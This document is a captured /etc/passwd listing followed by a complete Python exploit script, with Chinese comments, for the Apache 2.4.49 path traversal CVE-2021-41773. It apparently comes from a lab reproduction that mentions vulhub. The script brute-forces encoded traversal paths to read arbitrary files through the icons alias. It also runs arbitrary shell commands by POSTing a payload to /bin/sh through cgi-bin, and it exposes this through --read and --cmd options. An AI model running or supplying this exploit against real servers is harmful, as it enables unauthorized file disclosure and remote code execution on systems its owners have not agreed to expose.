1
root:x:0:0:root:/root:/bin/bash
2
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3
bin:x:2:2:bin:/bin:/usr/sbin/nologin
4
sys:x:3:3:sys:/dev:/usr/sbin/nologin
5
sync:x:4:65534:sync:/bin:/bin/sync
6
games:x:5:60:games:/usr/games:/usr/sbin/nologin
7
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

1
import argparse
2
import http.client
3
import sys
4
from urllib.parse import urlparse
5

6
# 判断文件读取成功的标志：/etc/passwd 里一定有 root 用户
7
PASSWD_MARKER = "root:"
8

9
# 跳板目录的选择是复现成败的关键，两个跳板用途完全不同：
10
#
11
#   icons   —— 被 Alias 映射的普通目录。Apache 会"读取"穿越到的文件，
12
#              所以用它来做任意文件读取。
13
#   cgi-bin —— 被 ScriptAlias 映射的脚本目录。Apache 会"执行"穿越到的文件，
14
#              所以用它来做 RCE（落点指向 /bin/sh）。
15
#
16
# 用错了会失败：拿 cgi-bin 读 /etc/passwd 只会得到 500，因为 Apache 在
17
# "执行"它而不是"读取"它。详见文件顶部说明第 4 条。
18
READ_START_DIR = "icons"
19
EXEC_START_DIR = "cgi-bin"
20

21
# "%2e" 编码风格的三种写法。不同环境对哪种写法"放行"存在差异，
22
# 所以全部穷举一遍，谁先打通就用谁。
23
STYLES = ["mixed", "dotted", "plain"]
24

25

26
def raw_request(host, port, path, method="GET", body=None, timeout=8):
27
    """
28
    发送一个"路径原样透传"的 HTTP 请求。
29

30
    参数：
31
        host / port : 目标地址
32
        path        : 请求行里的原始路径，含 %2e 等编码，不做任何规范化
33
        method      : GET 或 POST
34
        body        : POST 的请求体，bytes 或 str
35

36
    返回：
37
        (状态码, 响应体字符串)，发生网络错误时状态码为 None
38
    """
39
    if isinstance(body, str):
40
        body = body.encode()
41

42
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
43
    try:
44
        # skip_host / skip_accept_encoding 关掉自动加头，
45
        # 保证我们自己完全掌控请求内容
46
        conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True)
47
        conn.putheader("Host", "{}:{}".format(host, port))
48
        conn.putheader("User-Agent", "curl/7.79.1")
49
        conn.putheader("Accept", "*/*")
50
        if body is not None:
51
            conn.putheader("Content-Type", "application/x-www-form-urlencoded")
52
            conn.putheader("Content-Length", str(len(body)))
53
        conn.endheaders()
54
        if body is not None:
55
            conn.send(body)
56

57
        resp = conn.getresponse()
58
        data = resp.read()
59
        return resp.status, data.decode("utf-8", "replace")
60
    except Exception as exc:
61
        return None, "{}: {}".format(type(exc).__name__, exc)
62
    finally:
63
        conn.close()
64

65

66
def build_path(start_dir, depth, style, target):
67
    """
68
    拼出一条带路径穿越的 URL 路径。
69

70
    start_dir : 跳板目录，如 "icons"
71
    depth     : ".." 的段数，从 DocumentRoot 往上跳几层
72
    style     : "%2e" 编码风格（mixed / dotted / plain）
73
    target    : 想访问的目标文件，如 "etc/passwd"
74

75
    三条路径长这样（以 depth=4 为例）：
76
        mixed  -> /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd   ← vulhub 的写法
77
        dotted -> /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
78
        plain  -> /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
79
    """
80
    if style == "mixed":
81
        segs = [".%2e"] + ["%2e%2e"] * (depth - 1)
82
    elif style == "dotted":
83
        segs = [".%2e"] * depth
84
    else:
85
        segs = ["%2e%2e"] * depth
86

87
    return "/{}/{}/{}".format(start_dir, "/".join(segs), target.lstrip("/"))
88
    #用 `target.lstrip("/")` 再统一补回斜杠，就是为了规避前导斜杠当成"路径开头"给删掉了，其实它是拼在 `..` 后面的分隔符。
89

90
def probe(host, port, read_path="/etc/passwd", verbose=True):
91
    """
92
    自动探测可用的穿越组合。
93

94
    返回值：成功时返回 dict(start_dir, depth, style, path, content)，
95
            全部失败时返回 None。
96
    """
97
    tried = 0
98
    # 从跳板目录跳到根目录的层数取决于 Apache 的安装路径，
99
    # 官方镜像下通常是 4 层，这里放宽到 3~9 全部试一遍，谁先读到就用谁。
100
    for depth in range(3, 10):
101
        for style in STYLES:
102
            path = build_path(READ_START_DIR, depth, style, read_path)
103
            status, body = raw_request(host, port, path)
104
            tried += 1
105

106
            if status == 200 and PASSWD_MARKER in body:
107
                if verbose:
108
                    print("[+] 命中！第 {} 次尝试成功".format(tried))
109
                    print("    跳板目录 : {}".format(READ_START_DIR))
110
                    print("    穿越层数 : {}".format(depth))
111
                    print("    编码风格 : {}".format(style))
112
                    print("    最终路径 : {}".format(path))
113
                return {
114
                    "start_dir": READ_START_DIR,
115
                    "depth": depth,
116
                    "style": style,
117
                    "path": path,
118
                    "content": body,
119
                }
120

121
            if verbose and status is not None and status != 404:
122
                # 404 说明路径压根不存在，噪音太大就不打印了
123
                print("[-] {} {} -> {}".format(status, style, path))
124

125
    return None
126

127

128
def read_file(host, port, combo, target):
129
    """用已探测到的组合读取任意文件"""
130
    path = build_path(combo["start_dir"], combo["depth"], combo["style"], target)
131
    status, body = raw_request(host, port, path)
132
    return status, body, path
133

134

135
def run_command(host, port, combo, command):
136
    """
137
    执行系统命令。
138

139
    这里的目标从 "etc/passwd" 换成了 "bin/sh"。
140
    Apache 会把 /bin/sh 当作 CGI 脚本执行，并把请求体喂给它的 stdin。
141
    请求体前两行是 CGI 响应头（必须的协议要求）：
142
        echo Content-Type: text/plain; echo;
143
    意思是先输出一个 Content-Type 头，再输出一个空行分隔，
144
    之后才是真正的命令输出。
145
    """
146
    payload = "echo Content-Type: text/plain; echo; {}".format(command)
147
    # 跳板必须换成 cgi-bin：只有 ScriptAlias 映射的目录，
148
    # Apache 才会去"执行"穿越到的 /bin/sh。
149
    path = build_path(EXEC_START_DIR, combo["depth"], combo["style"], "bin/sh")
150
    status, body = raw_request(host, port, path, method="POST", body=payload)
151
    return status, body, path
152

153

154
def parse_target(url):
155
    """把 http://host:port 解析成 (host, port)"""
156
    parsed = urlparse(url if "://" in url else "http://" + url)
157
    host = parsed.hostname or "127.0.0.1"
158
    port = parsed.port or 80
159
    return host, port
160

161

162
def main():
163
    parser = argparse.ArgumentParser(
164
        description="CVE-2021-41773 Apache 2.4.49 路径穿越 / RCE 利用脚本",
165
        formatter_class=argparse.RawDescriptionHelpFormatter,
166
    )
167
    parser.add_argument(
168
        "--target", "-t",
169
        default="http://127.0.0.1:8080",
170
        help="目标地址，默认 http://127.0.0.1:8080",
171
    )
172
    parser.add_argument("--read", "-r", metavar="FILE", help="读取指定文件")
173
    parser.add_argument("--cmd", "-c", metavar="CMD", help="执行系统命令")
174
    args = parser.parse_args()
175

176
    host, port = parse_target(args.target)
177
    print("=" * 68)
178
    print("目标: {}:{}".format(host, port))
179
    print("=" * 68)
180

181
    # ---------- 第一步：探测漏洞 ----------
182
    print("\n[*] 开始探测路径穿越（穷举 起始目录 x 穿越层数 x 编码风格）...")
183
    combo = probe(host, port)
184
    if combo is None:
185
        print("\n[-] 未探测到可利用的穿越组合。")
186
        print("    可能原因：目标版本已修复，或 <Directory /> 仍是 Require all denied。")
187
        return 1
188

189
    print("\n[+] 任意文件读取已确认。以下是 /etc/passwd 的前 8 行：")
190
    print("-" * 68)
191
    for line in combo["content"].splitlines()[:8]:
192
        print("    " + line)
193
    print("-" * 68)
194

195
    # ---------- 第二步：按需读取指定文件 ----------
196
    if args.read:
197
        print("\n[*] 读取 {} ...".format(args.read))
198
        status, body, path = read_file(host, port, combo, args.read)
199
        print("[*] 请求路径: {}".format(path))
200
        print("[*] 状态码  : {}".format(status))
201
        print("-" * 68)
202
        print(body.strip() if body.strip() else "(空响应 —— 文件可能不存在)")
203
        print("-" * 68)
204

205
    # ---------- 第三步：按需执行命令 ----------
206
    if args.cmd:
207
        print("\n[*] 执行命令: {}".format(args.cmd))
208
        status, body, path = run_command(host, port, combo, args.cmd)
209
        print("[*] 请求路径: {}".format(path))
210
        print("[*] 状态码  : {}".format(status))
211
        print("-" * 68)
212
        print(body.strip() if body.strip() else "(空响应 —— 可能未开启 mod_cgi)")
213
        print("-" * 68)
214

215
    if not args.read and not args.cmd:
216
        print("\n提示：加上 --read <文件> 读任意文件，加 --cmd <命令> 执行命令。")
217
        print("      例如：python3 exploit.py --cmd id")
218

219
    return 0
220

221

222
if __name__ == "__main__":
223
    sys.exit(main())